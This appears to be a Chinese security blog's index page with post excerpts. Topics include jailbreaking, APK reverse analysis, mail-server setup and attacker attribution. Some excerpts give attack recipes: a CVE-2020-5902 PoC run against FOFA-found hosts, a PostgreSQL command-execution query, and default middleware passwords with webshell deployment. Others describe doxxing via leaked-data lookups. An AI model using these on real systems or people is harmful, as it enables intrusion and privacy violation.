//查询域内置本地管理员组用户 3.找到域控 一般来说,域控服务器IP地址为DNS服务器地址,找到DNS服务器地址就可以定位域控。 nslookup/ping 域名,解析到域控服务器IP地址 ...
-
酷我音乐真实地址解析
总结上次酷狗的经验我没有去百度直接去抓协议 打开我们的网页酷我随便播放一个音 f12仔细看一下MP3在哪里 找到了酷我的音乐地址 使用rid替换即可 返回值是jso api: http://www.kuwo.cn/url?format=mp3&rid=77810434&response=url&type=convert_url3&br=128kmp3&from=web&t=1569587300382&reqId=4a567af1-e122-11e9-bade-01a02613b222 ...
-
fugu基于checkm8漏洞的开源越狱
支持的设备 当前版本的Fugu仅支持iPad Pro(2017)和iPhone 7(iOS 13-13.3.1)。 项目获取 git clone https://github.com/LinusHenze/Fugu.git 建造 注意:广大研究人员也可以直接从本项目的【Release页面】下载Fugu的预编译版本。 在构建Fugu之前,请确保已安装好了Xcode以及Homebrew。 然后使用Homebrew来安装llvm和binutils: brew install llvm binutils 接下来,在Xcode中打开Fugu项目,选择Fugu作为目标并进行项目构建。构建完成后,Xcode将在构建目录中生成Fugu项目以及一个Shellcode目录,然后我们就可以开始使用Fugu了。 工具使用 我建议大家以无参数的形式运行Fugu,并查看所有的可用选项。 如果你想要对你的苹果设备进行越狱操作,可以直接运行下列命令: Fugu iStrap 你可能需要多次运行该命令才可以成功启用Fugu,如果你尝试了四、五次都没成功的话,请调整设备进入DFU模式后再进行尝试。 该命令将会向你的苹果设备发送一个内核启动引导程序以及iDownload(一款能够用来向苹果设备发送文件或执行命令的程序)。 安装Sileo、SSH和MobileSubstrate 注意:越狱有风险,操作需谨慎,请备份好所有文件后再进行操作,如操作对设备造成的损坏,请用户自行承担。 确保你的设备上已经安装好了libusbmuxd,如果没有安装,你可以通过Homebrew并使用下列命令来安装libusbmuxd: brew install libusbmuxd 安装好usbmuxd之后,启动你的苹果设备并进入越狱模式。同时,确保你的设备已通过USB连接到了你的macOS设备上。 接下来,使用下列命令安装Sileo: python install_sileo.py 运行该脚本之后,将会下载所有安装Sileo所需的组件并完成Sileo的安装。安装完成之后,你将会在应用程序栏中看到Sileo的图标。此时,SSH将会在后台运行,请确保已经修改了root/mobile密码。 组件Fugu由下列组件构成: 1、Fugu:macOS应用程序,可以通过checkm8漏洞来利用你苹果设备中的安全缺陷,并上传iStrap、iStrap加载器以及iDownload。 2、iStrap加载器:一段Shellcode代码,iBoot后会修复iBoot并加载iStrap。 3、iStrap:内核启动引导程序,会在苹果设备启动时显示,它会修复内核,注入启动参数并向内核注入Shellcode。 4、iDownload:运行在苹果设备上的程序,会在启动引导过程中完成安装。程序会监听端口1337,并且会给用户提供一个类似Bash的接口。 ...
-
CVE-2020-5902 简单利用
漏洞简述 F5 BIG-IP 是美国F5公司一款集成流量管理、DNS、出入站规则、web应用防火墙、web网关、负载均衡等功能的应用交付平台。在 F5 BIG-IP 产品的流量管理用户页面 (TMUI)/配置实用程序的特定页面中存在一处远程代码执行漏洞。此漏洞允许未经身份验证的攻击者或经过身份验证的用户通过BIG-IP管理端口和/或自身IP对TMUI进行网络访问,以执行任意系统命令、创建或删除文件、禁用服务和/或执行任意Java代码。 受影响的版本 F5 BIG-IP 15.x 已知易受攻击版本 15.1.0、15.0.0F5 BIG-IP 14.x 已知易受攻击版本 14.1.0-14.1.2F5 BIG-IP 13.x 已知易受攻击版本 13.1.0-13.1.3F5 BIG-IP 12.x 已知易受攻击版本 12.1.0-12.1.5F5 BIG-IP 11.x 已知易受攻击版本 11.6.1-11.6.5 漏洞复现下载poc https://github.com/zhzyker/CVE-2020-5902 查找具备漏洞版本的目标,这里利用FOFA搜索的 title="BIG-IP" 关键信息 运行命令 python3 cve-2020-5902_file.py IP 利用成功,可以返回当前用户信息 注:本实验不得用于商业用途,仅做学习交流,一切后果自行承担。 ...
-
一份礼物.apk的逆向分析
事情起因是震惊全国大学生的1013事件!!! 刚好看到社团群里在讨论这个,于是就发挥专业特长分析一下 拿到apk ,第一步肯定先放到虚拟机里跑一下看下效果emmm这似曾相识的页面,这熟悉的音量,唯一变化的就是音乐变成了O泡果奶的魔性洗脑广告。懂了,这不就是 "送给最好的ta.apk" 吗? 使用Android killer或apk改之理分析一下,这里使用Android Killer: 通过对比送给最好的ta.apk发现: 多了一个layout.lua文件,不过从名字上看这就是个布局文件,影响不大,再就是mp3文件名字从原来的0.mp3改为了mc.mp3,其他的都没变,甚至软件图标都没变。这个mc.mp3就是播放的广告音频了。 剩下的就简单了,虽然lua文件是加密过的,通过分析java代码,发现加密方式也没变,依旧使用/lib/armeabli-v7a/libluajava.so加密,因此使用ida7.0(x32)对这个文件逆向分析: 查找到在luaL.loadbufferx里面有对文件解密的过程 这里直接拿pcat大佬写的解密脚本: from ctypes import *import sys def decrypt(filename): s = open(filename, 'rb').read() outfile = 'out.lua' if s[0] == chr(0x1b) and s[1] != chr(0x4c): rst = chr(0x1b) size = len(s) v10 = 0 for i in range(1, size): v10 += size v = (c_ulonglong(-2139062143 * v10).value >> 32) + v10 v1 = c_uint(v).value >> 7 v2 = c_int(v).value < 0 rst += chr(ord(s[i]) ^ (v10 + v1 + v2) & 0xff) with open(outfile, 'wb') as f: f.write(rst) else: pass def foo(): print len(sys.argv) if len(sys.argv) == 2: filename = sys.argv[1] else: filename = 'main.lua' decrypt(filename) if __name__ == '__main__': foo() 将得到的文件使用unluac.jar进行还原,最终得到三个lua文件分别为: init.lua: local L0, L1appname = "\230\143\146\228\187\1829.0"appver = "9.0"packagename = "com.ta.cnm"appcode = "9"appsdk = "15"theme = "Theme_DeviceDefault_Light_NoActionBar"L0 = {}L1 = "WRITE_EXTERNAL_STORAGE"L0[1] = L1user_permission = L0 main.lua: local L0, L1, L2, L3L0 = requireL1 = "import"L0(L1)L0 = importL1 = "android.app.*"L0(L1)L0 = importL1 = "android.os.*"L0(L1)L0 = importL1 = "android.widget.*"L0(L1)L0 = importL1 = "android.view.*"L0(L1)L0 = importL1 = "android.view.View"L0(L1)L0 = importL1 = "android.content.Context"L0(L1)L0 = importL1 = "android.media.MediaPlayer"L0(L1)L0 = importL1 = "android.media.AudioManager"L0(L1)L0 = importL1 = "com.androlua.Ticker"L0(L1)L0 = activityL0 = L0.getSystemServiceL1 = ContextL1 = L1.AUDIO_SERVICEL0 = L0(L1)L0 = L0.setStreamVolumeL1 = AudioManagerL1 = L1.STREAM_MUSICL2 = 15L3 = AudioManagerL3 = L3.FLAG_SHOW_UIL0(L1, L2, L3)L0 = activityL0 = L0.getDecorViewL0 = L0()L0 = L0.setSystemUiVisibilityL1 = ViewL1 = L1.SYSTEM_UI_FLAG_HIDE_NAVIGATIONL2 = ViewL2 = L2.SYSTEM_UI_FLAG_IMMERSIVEL1 = L1 | L2L0(L1)L0 = MediaPlayerL0 = L0()m = L0L0 = mL0 = L0.resetL0()L0 = mL0 = L0.setDataSourceL1 = activityL1 = L1.getLuaDirL1 = L1()L2 = "/mc.mp3"L1 = L1 .. L2L0(L1)L0 = mL0 = L0.prepareL0()L0 = mL0 = L0.startL0()L0 = mL0 = L0.setLoopingL1 = trueL0(L1)L0 = TickerL0 = L0()ti = L0L0 = tiL0.Period = 10L0 = tifunction L1() local L0, L1, L2, L3 L0 = activity L0 = L0.getSystemService L1 = Context L1 = L1.AUDIO_SERVICE L0 = L0(L1) L0 = L0.setStreamVolume L1 = AudioManager L1 = L1.STREAM_MUSIC L2 = 15 L3 = AudioManager L3 = L3.FLAG_SHOW_UI L0(L1, L2, L3) L0 = activity L0 = L0.getDecorView L0 = L0() L0 = L0.setSystemUiVisibility L1 = View L1 = L1.SYSTEM_UI_FLAG_HIDE_NAVIGATION L2 = View L2 = L2.SYSTEM_UI_FLAG_IMMERSIVE L1 = L1 | L2 L0(L1)endL0.onTick = L1L0 = tiL0 = L0.startL0()function L0(A0, A1) local L2, L3, L4, L5 L2 = string L2 = L2.find L3 = tostring L4 = A1 L3 = L3(L4) L4 = "KEYCODE_BACK" L2 = L2(L3, L4) if L2 ~= nil then L2 = activity L2 = L2.getSystemService L3 = Context L3 = L3.AUDIO_SERVICE L2 = L2(L3) L2 = L2.setStreamVolume L3 = AudioManager L3 = L3.STREAM_MUSIC L4 = 15 L5 = AudioManager L5 = L5.FLAG_SHOW_UI L2(L3, L4, L5) end L2 = true return L2endonKeyDown = L0 layout.lua: local L0, L1, L2, L3L0 = {}L1 = LinearLayoutL0.layout_width = "fill"L0.layout_height = "fill"L2 = {}L3 = ButtonL2.textColor = "#D50000"L2.text = "\230\131\138\228\184\141\230\131\138\229\150\156 \230\132\143\228\184\141\230\132\143\229\164\150"L2.layout_height = "match_parent"L2.layout_width = "match_parent"L2.background = "#88888888"L2[1] = L3L0[1] = L1L0[2] = L2return L0 分析这三个文件: init.lua: 定义了app的名字,版本(已经是9.0了吗),包名(有点暴躁啊这位老哥),sdk版本,使用的主题,需要的权限等数据 main.lua: 具体逻辑都在这里面,大概就是读取mc.mp3 播放 并一直把音量调整到15(最大),监听禁用返回按钮。 layout.lua: 设置页面布局 恶搞一时爽,但是也要有度。 万一下一次是个带病毒的文件呢? 对了 解决方案-----------关掉进程或关机! ...
-
PostgreSQL 高权限命令执行漏洞
PostgreSQL 是一款关系型数据库。其9.3到11版本中存在一处“特性”,管理员或具有“COPY TO/FROM PROGRAM”权限的用户,可以使用这个特性执行任意命令。 默认账号密码为postgres/postgres。 首先连接到postgres中,并执行参考链接中的POC: <font face="宋体" size="4">DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec;</font> FROM PROGRAM语句将执行命令id并将结果保存在cmd_exec表中 大概就这些…… ...
-
红蓝演练之攻击溯源手段
攻击溯源的技术手段,主要包括ip定位、ID定位与攻击者定位。 通过ip可定位攻击者所在位置,以及通过ip反查域名等手段,查询域名的注册信息,域名注册人及邮箱等信息。 通过ID定位可获取攻击者常用的网络ID,查询攻击者使用同类ID注册过的微博或者博客、论坛等网站,通过对网络ID注册以及使用情况的查询,定位攻击者所在公司、手机号、邮箱、QQ等信息。 或通过其他手段定位攻击者,如反制攻击者vps,获取攻击者vps中的敏感信息、反钓鱼、恶意程序分析溯源等手段。 一、ip定位技术 通过安全设备或其他技术手段抓取攻击者的IP,对IP进行定位,查询此IP为IDC的IP、CDN的IP还是普通运营商的出口IP,通过IP反查可能会查询到攻击者使用的web域名、注册人、邮箱等信息。一般常用的IP查询工具有: 高精度IP定位:https://www.opengps.cn/Data/IP/LocHighAcc.aspx rtbasia(IP查询):https://ip.rtbasia.com/ ipplus360(IP查询):http://www.ipplus360.com/ip/ IP信息查询:https://www.ipip.net/ip.html/ IP地址查询在线工具:https://tool.lu/ip/ 当发现某些IP的攻击后,可以尝试通过此IP去溯源攻击者,具体实现过程如下: 首先通过ipip.net网站或者其他接口,查询此IP为IDC的IP、CDN的IP还是普通运营商的出口IP。 如果IP反查到域名就可以去站长之家或者whois.domaintools.com等网站去查询域名的注册信息。 通过收集到的这些信息,就比较容易定位到人。 在通过IP定位技术溯源过程,应注意以下情况: 假如IP反查到的域名过多,考虑就是CDN了,就没必要继续去查了。 假如是普通运营商的出口IP只能使用一些高精度IP定位工具粗略估计攻击者的地址,如果需要具体定位到人,则需要更多的信息。 二、ID追踪技术 在通过IP定位后技术追踪攻击者,可通过指纹库、社工库等或其他技术手段抓取到攻击者的微博账号、百度ID等信息,一般通过以下技术手段实现: 进行QQ等同名方式去搜索、进行论坛等同名方式搜索、社工库匹配等。 如ID是邮箱,则通过社工库匹配密码、以往注册信息等。 如ID是手机号,则通过手机号搜索相关注册信息,以及手机号使用者姓名等。 例如,当通过ID追踪技术手段定位到某攻击者的QQ号、QQ网名等信息,通过专业社工库可以进一步追踪攻击者使用的QQ号注册过的其它网络ID,从而获取更多攻击者信息,从而确定攻击者的真实身份。 三、攻击程序分析 攻击者如果在攻击过程中对攻击目标上传攻击程序(如钓鱼软件),可通过对攻击者上传的恶意程序进行分析,并结合IP定位、ID追踪等技术手段对攻击进行分析溯源,常用的恶意程序分析网站有: Ø 微步在线云沙箱:https://s.threatbook.cn/ Ø Virustotal:https://www.virustotal.com/gui/home/upload Ø 火眼(https://fireeye.ijinshan.com) Ø Anubis(http://anubis.iseclab.org) Ø joe(http://www.joesecurity.org) 例如,当发现某攻击者利用263邮箱系统0DAY(xss漏洞)进行钓鱼攻击,通过以下方式可追踪攻击者身份: 1)对恶意程序分析 通过上传文件到https://s.threatbook.cn进行代码分析,可得到以下信息,攻击者在攻击过程使用了以下三个域名: wvwvw.aaaa.com 用来接收cookies baidu-jaaaa.com 用来存放js恶意代码,伪造图片 flashaaaa.cn 用来存放木马病毒 然后对域名进行反查 ...
-
基于Linux搭建邮箱服务
解析你的服务器 然后用MX记录解析你的域名 一、解析生效检查 nslookup -q=mx XXXXXX.com ping XXXXXX.com 二、Postfix、Dovecot 安装 $$yum -y install postfix dovecot 三、配置 Postfix postconf -e 'myhostname = server.yourdomain.com' postconf -e 'mydestination = localhost, localhost.localdomain' postconf -e 'myorigin = $mydomain' postconf -e 'mynetworks = 127.0.0.0/8' postconf -e 'inet_interfaces = all' postconf -e 'inet_protocols = all' postconf -e 'mydestination = $myhostname, localhost.$mydomain, localhost, $mydomain' postconf -e 'home_mailbox = Maildir/' postconf -e 'smtpd_sasl_type = dovecot' postconf -e 'smtpd_sasl_path = private/auth' postconf -e 'smtpd_sasl_auth_enable = yes' postconf -e 'broken_sasl_auth_clients = yes' postconf -e 'smtpd_sasl_authenticated_header = yes' postconf -e 'smtpd_recipient_restrictions = permit_mynetworks, permit_sasl_authenticated, reject_unauth_destination' postconf -e 'smtpd_use_tls = yes' postconf -e 'smtpd_tls_cert_file = /etc/pki/dovecot/certs/dovecot.pem' postconf -e 'smtpd_tls_key_file = /etc/pki/dovecot/private/dovecot.pem' 注意:记得将 yourdomain.com 替换为你自己的域名 配置 smtps 部分邮件客户端依赖于使用 465 端口提供加密连接,所以我们修改配置,允许 Postfix 使用 465 端口发送邮件。 smtps inet n - n - - smtpd -o smtpd_tls_wrappermode=yes (注意: -o 前要保留空格) 启动 Smtp服务 $$systemctl enable postfix.service systemctl start postfix.service 配置 Dovecot ssl_cert = </etc/pki/dovecot/certs/dovecot.pem ssl_key = </etc/pki/dovecot/private/dovecot.pem protocols = imap pop3 lmtp listen = * mail_location = Maildir:~/Maildir disable_plaintext_auth = no 修改 10-master.conf unix_listener /var/spool/postfix/private/auth { mode = 0666 } 启动 Dovecot $$systemctl enable dovecot.service systemctl start dovecot.service 添加用户 useradd test 修改密码 passwd test 切换用户 su test 发信测试 echo "Mail Content" | mail -s "Mail Subject" xxxx@xxx.com ...
-
常见web中间件拿shell
1.weblogic 后台页面:(http为7001,https为7002) Google关键字:WebLogic Server AdministrationConsole inurl:console 默认的用户名密码 1、用户名密码均为:weblogic 2、用户名密码均为:system 3、用户名密码均为:portaladmin 4、用户名密码均为:guest 上传地方: workshop> Deployments> Web应用程序> 部署新的 Web 应用程序模块… 上传war的webshell。 上传后目标模块->部署。 2.Tomcat 后台:http://172.16.102.35:8080/manager/html 默认用户名密码 tomcat tomcat 上传地方: Deploy之后即发布成功 shell地址:http://172.16.102.35:8080/magerx/test.jsp(其中magerx为war包的名字) 3.jboss 后台:http://172.16.102.35:9990 上传地方:Deployments>Manage Deployments>Add Content Enable后即可发布 shell地址: http://172.16.102.35:8080/magerx/test.jsp 4.JOnAS 后台:http://172.16.102.35:9000/jonasAdmin/ 默认用户名密码: jadmin jonas tomcat tomcat jonas jonas 上传地方:Deployment>Web Modules (WAR)>Upload Apply之后即可发布 shell地址:http://172.16.102.35:9000/magerx/test.jsp 5.WebSphere 后台地址:https://172.16.102.35:9043/ibm/console/logon.jsp 上传地方:应用程序>新建应用程序>新建企业应用程序 接下来各种下一步,步骤4注意填好“上下文根” 完成后单击保存 回到应用程序>应用程序类型>WebSphere 企业应用程序 选中你上传的war包 这里是paxmac 点击启动 即可发布 shell地址:http://172.16.102.35:9080/paxmac/test.jsp <!– jsp文件打包,可以使用jdk/JRE自带的jar命令: 切换到要打包的文件目录 jar -cvf magerx.war test.jsp –> ...